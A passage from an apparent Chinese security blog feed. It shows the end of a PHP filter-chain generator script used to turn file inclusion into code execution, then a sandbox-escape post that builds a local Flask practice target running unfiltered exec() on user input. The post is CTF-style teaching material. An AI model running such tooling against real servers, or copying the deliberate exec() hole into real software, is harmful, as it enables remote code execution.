style=\"color:#B07D48;--shiki-dark:#BD976A\"> required</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">False</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    parser</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">add_argument</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">--rawbase64</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> help</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> required</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">False</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    args </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> parser</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">parse_args</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">chain </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">is</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        chain </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">chain</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">encode</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">utf-8</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        base64_value </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> base64</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">b64encode</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">chain</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">decode</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">utf-8</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">replace</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        chain </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> generate_filter_chain</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">base64_value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">[+] The following gadget chain will generate the following code : </span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> (base64 value: </span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">)</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">format</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">chain</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> base64_value</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">chain</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">rawbase64 </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">is</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        rawbase64 </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">rawbase64</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">replace</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        match </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> re</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">search</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">^([A-Za-z0-9+/])*$</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> rawbase64</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">match</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            chain </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> generate_filter_chain</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">rawbase64</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> True</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">chain</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            print</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">[-] Base64 string required.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            exit</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    main</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>用法是<code>python3 php_filter_generator.py --chain 'xxx'</code></p>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/15.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/14.png\" class=\"\"></p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/",
            "url": "https://zlaryy.top/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/",
            "title": "沙箱逃逸",
            "date_published": "2026-03-27T04:05:00.000Z",
            "content_html": "<h1 id=\"沙箱逃逸\"><a class=\"anchor\" href=\"#沙箱逃逸\">#</a> 沙箱逃逸</h1>\n<p>参考：<a href=\"https://www.freebuf.com/articles/web/422169.html\">https://www.freebuf.com/articles/web/422169.html</a></p>\n<p><a href=\"https://www.freebuf.com/articles/system/203208.html\">https://www.freebuf.com/articles/system/203208.html</a></p>\n<p>沙箱是一种安全机制，用于为运行中的程序提供一个隔离的环境</p>\n<p>系统把不信任的程序（比如网页上的 JavaScript、下载的未知文件、或者某个特定的应用）放在沙箱里运行。在这个环境里，程序只能访问被严格限制的资源（如少量的内存、特定的临时文件夹），它无法读取私人文件、修改操作系统核心设置或感染其他程序。</p>\n<p>那么沙箱逃逸就是指被隔离在沙箱内部的恶意代码，利用了沙箱本身的漏洞或配置缺陷，<strong>打破了隔离边界，成功获取了沙箱外部系统（宿主机操作系统）的访问权限</strong>。</p>\n<p>这里我在kali虚拟机上直接搭建了一个形似CTF题目环境的本地测试页面：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># app.py</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> render_template_string</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> sys</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> io</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 这是一个极简的 HTML 前端模板，自带黑客风样式</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">HTML_TEMPLATE</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"\"\"</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;!DOCTYPE html></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;html></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;head></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;title>在线 PyJail 靶场&#x3C;/title></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;style></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        body &#123; font-family: monospace; background: #1e1e1e; color: #d4d4d4; padding: 20px; &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        textarea &#123; width: 100%; height: 200px; background: #2d2d2d; color: #00ff00; border: 1px solid #555; padding: 10px; font-family: inherit; font-size: 16px;&#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        input[type=\"submit\"] &#123; background: #007acc; color: white; border: none; padding: 10px 20px; cursor: pointer; margin-top: 10px; font-size: 16px;&#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        input[type=\"submit\"]:hover &#123; background: #005f9e; &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        pre &#123; background: #000; padding: 15px; border-left: 5px solid #00ff00; overflow-x: auto; color: #00ff00;&#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;/style></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/head></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;body></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;h2>🐍 危险的在线 Python 沙箱 (Web RCE)&#x3C;/h2></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;p>在此输入你的 Python Payload：&#x3C;/p></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;form method=\"POST\"></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;textarea name=\"code\" placeholder=\"输入 Python 代码，例如: print('Hello Hacker!')\">&#x3C;/textarea>&#x3C;br></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;input type=\"submit\" value=\"执行代码 (Execute)\"></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;/form></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    </span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;!--swig￼0--></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/body></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/html></span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> methods</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">GET</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">POST</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> index</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    result </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">method </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">POST</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 1. 获取用户在网页文本框里填写的代码</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        code </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">form</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">code</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> ''</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 2. 准备捕获 Python 的标准输出 (将 print 的内容拦截下来显示在网页上)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        old_stdout </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> sys</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">stdout</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        redirected_output </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> sys</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">stdout </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> io</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">StringIO</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 3. 核心漏洞：没有任何过滤，直接执行用户输入的代码！</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            exec</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">code</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 4. 获取执行期间所有 print 出来的内容</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            result </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> redirected_output</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">getvalue</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> result</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                result </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">[执行成功，但没有输出任何内容]</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 如果代码报错，把错误信息返回给网页</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            result </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"[运行报错] </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        finally</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 5. 恢复系统的标准输出（重要收尾工作）</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            sys</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">stdout </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> old_stdout</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> render_template_string</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">HTML_TEMPLATE</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> result</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span 